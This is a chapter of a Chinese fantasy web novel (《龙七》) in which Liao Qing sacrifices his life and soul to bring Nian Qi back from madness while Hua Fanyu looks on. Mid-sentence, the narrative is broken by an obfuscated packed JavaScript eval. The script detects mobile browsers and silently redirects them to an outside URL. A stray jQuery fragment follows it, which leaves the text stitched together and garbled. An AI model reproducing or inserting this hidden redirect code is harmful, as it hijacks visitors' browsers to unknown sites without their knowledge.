33. 红为魂魄青烟为寿
作品:《龙七》 人间风雨交加,渊界水牢翻涌。
年七睁开眼的瞬间,剧痛便如潮水而来,
黑暗,无尽的黑暗,远处只闪着几点幽幽鬼火,记忆中他一次次地被打断腿骨,一次又一次地被寒水浸泡、吞噬。直至他见识到第二段记忆:突生横祸,鬼灵显像。
“该来了吧?”黑暗中响起道细腻女声,“放弃你的意志,年七。”
年七四肢被铁链束缚,他看见水面倒映出自己,瞳孔中仅闪着两点金芒,意识即刻要被吞没。
黑影中走出位高挑身影,未孤华摘下面罩,半张脸庞已糜烂可怖,冷声道:“取回百花枯,屠杀玄门。以免你忘记,本座多提醒一句,百花枯凝自花鬼神,杀了花凡羽便是,不过恐怕还得先杀了辽青。”
四周水柱忽腾空啸起时,束缚已破,人影失踪。
***
夕阳将颓未颓之际,上春镇内已成断垣残壁。
花凡羽守在玄门前,迟迟不见年七与辽青归来,走至云阶往下俯瞰乡镇,本该笼罩至次日晨时的毒雾,现下所见却浑然不同。煌煌花灯照耀间,镇民面带安详在早已开门的医馆前排起长队。
“花鬼……”花凡羽轻捻指腹,自划出一道血迹,“他在哪?”
他花裳间几朵山茶花忽而颤动,飘出几缕白雾,自主意识般将方才血迹舔舐干净,空中继而飘出四字:查记酒阁。
清风过境时,查记酒阁招牌仅剩“查记”二字还挂在檐角边吱吱作响,就在这摇摇欲坠招牌旁,一袭青衣横躺瓦间,像片被雨打落的枯叶。
瓦间血迹斑驳,除去酒坛陈列,还有几具血肉模糊的尸体横七竖八堆放着。
花凡羽愤怒握拳道:“为何不攻?”
辽青衣襟大敞,露出嶙峋锁骨,边拭去嘴角血迹边道:“玄门灵草无反应,久久无人归来,我想会是年七出事。任务既无法持续,独自一人守着这后路也无用,便索性先离开了。”
花凡羽看着一地尸体道:“你还要隐瞒我多久?你寿命还有多久?你已嗜血过多,根本承受不住这次任务对不对?你是要像龙霜傲那般,又把我一个人丢下,是不是?”
辽青冷然道:“我不会死。”
花凡羽怒道:“别开蠢蛋玩笑了!当初你就因随我一同献祭灵魂,再无肉身。而不是如今连你寿命将至,都不愿再与我谈论一句,你可知我为了救你一命费尽多少心思?到头来,你却只惦记着其它,毫不顾虑我。”
辽青倒也不恼,懒洋洋起身道:“厌我、恨我、再杀了我?”
言语时,辽青眼中醉意褪去三分,布满伤痕的左手勾起腰间酒壶,当着花凡羽面又饮下一口冷酒。
花凡羽怒极,反手甩出一掌,力道之大在辽青面上留下血痕,“我恨你,那又能如何?”
转瞬间,花凡羽身影已消失在连绵瓦间,只有遗落的一片血色山茶花瓣,在晚风中轻摇。青衣在月下不知静站多久,直至壶底残余的一滴酒水,渗透进百年老店的瓦间,与血水融合一体。
辽青才觉面颊火辣,终究比不得心口疼痛,“以前你胆小、怕事,总是躲在我身后,如今却能为了我费劲心思,寻一出路,该笑还是该哭呢?凡羽……”
后方忽传来阵窸窣脚步,未孤华逐渐显身道:“真是一场感人的亲人戏码,你有这般觉悟本座很是佩服,辽青。”
辽青猛地转身,眯眼道:“用不着你怜惜。在大哥走后我早知晓自己寿命有限,世上除去凡羽,不会再有第二个人,会无故为我延寿。”
话音刚落,辽青一口鲜血呕地,借着月光这才让人看清他腹间渗满血迹,并非新伤,而是邪息反噬带来的陈年旧伤。
一片云飘过,月光暗淡下来。
云翳笼罩的阴影里,辽青手指狠狠抠入瓦间,眉眼间风华全散,待月光重新浮现时,他整个人已重重瘫软跪地,却仰头望月笑道:“不过还好,在我透支寿命开始之际,我就悄悄加了个附加条件。”
至于条件,这自然与那位花谷主人有关。
四季同时存在的奇迹之地,花谷中有棵千年古树维持着花谷灵气平衡,花瓣永不凋零。百花鼎盛绽放,将这座花谷砌成与世隔绝之地,谷口野蔷薇见到主人归来,最先颤动起来,而后小心翼翼向谷内伸去枝丫。
“主人回来啦——”
花凡羽甫一入谷,径直瘫入花海间,“莫要吵闹,我先歇息半响。”
几个花妖仍叽叽咋咋地聚集在远处,紫藤架忽窜出个淡紫襦裙的花妖,她发间缀满小花,赤足缠着青藤,见花凡羽已入眠,努嘴道:“主人太久不回来,我开的花都攒了三茬啦,也不见得主人与我们亲热。”
“嘘。”身后传来男声提醒。
众花妖回眸一望,两眼瞪大纷纷道:“大人!”
紫藤花妖眼看辽青小心跃过众妖,蹑手蹑脚为花凡羽盖上绒毯,冲身旁几妖打趣道:“该走啦!主人不记得亲热我们就罢了,就连最好的大人一来,也是不在乎我们啦!”
几个花妖不约而同转背离去,辽青只得拦在几人面前,两指弯曲分别在众妖额头上敲打道:“胡闹,我何时说过不记得你们了?”
不知不觉间,花凡羽已在众人尚未注意下缓缓睁眼。
紫藤花妖捂着额头,佯装疼痛道:“主人云游四海,几年不曾回来一次!花谷内大家无处可去,冷清极了。更别提能与大人相聚,虽然大人对主人的好有目共睹,只是怕主人和大人再不回来,要把大家忘了……”
“我早成孤魂野鬼,怎么会忘了你们?”花凡羽忽喃喃道,“说来也是冷落你们了,不如今日来场花术如何?”
众妖听闻纷纷欢喜,不过眨眼间,连同整个花谷作衬,漫天飞花缠绕作一团。花浪形成飓风将辽青与花凡羽二人推入绚丽之中,四目相对之际,辽青手中烟杆不由自主的一落,恰好坠入花妖手中。
花凡羽还未启齿,他抢先道:“我不会死去,凡羽。”
辽青徒手接住片山茶花,严肃道:“我的灵魂会化作世间万物,永远守护着你,不再迷茫与孤独。”
起初,花凡羽以为这是辽青为今日所作道歉,直到寒光乍现穿透了眼前人心口,他才知晓这是临死前最后一句叮嘱。
一瞬间,三拨势力鼎力。玄门弟子早已破
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149754|180501||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开结界闯入花谷,与花妖厮打一团,连带一位已丢失心智的龙剑宿主,年七不分敌友,握紧龙剑只斩着挡路之人。
陈上华执剑多次偷袭仍然无果,眼看小伍也倒地重伤,只得垂眸道:“若无路可回,便殊死抵抗也好,至少让我亲手报了这血仇。”
人群末端站着双玲,她面色惨白,一袭残破布衣,手中仍执天涯剑,死死紧盯着不远处花海二人。
花凡羽神色恍惚,指尖颤抖着抚上辽青的心口,声音轻得几乎听不见道:“你还能……可还能自愈伤口?”
辽青并未作答,只是缓缓抬眸,望向不远处肆虐的年七,势要献出自己所有寿命般淡然一笑。
毒雾四散,像是带着主人的意志般绕过众人,仅朝着年七一人而行。年七挥剑斩雾,毒雾反顺着龙剑攀附而上,将他整个人包裹其中,翻涌着为其呈上许多被宿主遗忘的记忆:挚友、故友、亲人。
辽青声音从毒雾中缓缓透来,脆弱却坚定道:“救你最后一次了,七。”
花凡羽紧盯无力支撑的辽青,欲要上前却被一枝枯藤锁住左脚,慌乱质问道:“你要作何?我绝不允你!”
辽青望着他,忽而笑了。
此人的笑总是这般,带着点懒散意味,仿佛世间万事都不值得他认真。可此刻,辽青眼底却映着花凡羽面庞,较真得像是要铭记有关他的一切。
“别害怕,”他轻声抚慰,“我一直都在。”
枯枝骤然收缩,朝夕相处的百年记忆汹涌而来,流民挨打后为自己送来馒头的少年,唯一乱世中不把自己当为异类的挚友,相约一个献祭寿命,一个献祭魂魄做彼此唯一家人的兄长,变得愈发模糊。
“你知道的,”他声音越来越轻,“我死不了。”
花凡羽指尖深深陷入掌心,鲜血顺着指缝滴落。他当然知道,辽青最擅长的就是撒谎。他说“不疼”,其实伤口已深可见骨;他说“没事”,其实灵力早已枯竭;他说“死不了”——
可他的身体正在消散。
从指尖开始,一寸寸化作飞灰,被毒雾裹挟着飘向年七。那是他最后的力量,以魂为引,以命为锁,硬生生将年七从癫狂中拽回。
花凡羽发不出声音,只能看着辽青身影越来越淡,看着他抬起手,像是想再碰一碰家人面庞,可最终,那双手也散成青烟。
“辽青——!!!”
尖叫撕碎了花谷的寂静。
毒雾彻底吞没了年七,而辽青站立之地,只剩一件空荡荡的青袍,缓缓飘落在地。
袍角上,还沾着一朵小小的白花。
那是昨日辽青别在自己发间的,他说——
“凡羽,这花像你。”
“又倔,又活不长。”
可谁也不曾知晓,辽青死前眸中四起许多美丽繁花,如同那年他初遇花香少年,被万人厌弃的花气在他眼里却是无比宝贵之物。这一花术,才让辽青心甘情愿闭上了眼睛。
花妖道:“大人,睡个好觉吧。”
花谷灵花一瞬凋零。
漫天飞花如雪,落在花凡羽肩头,像是辽青最后轻飘飘的告别。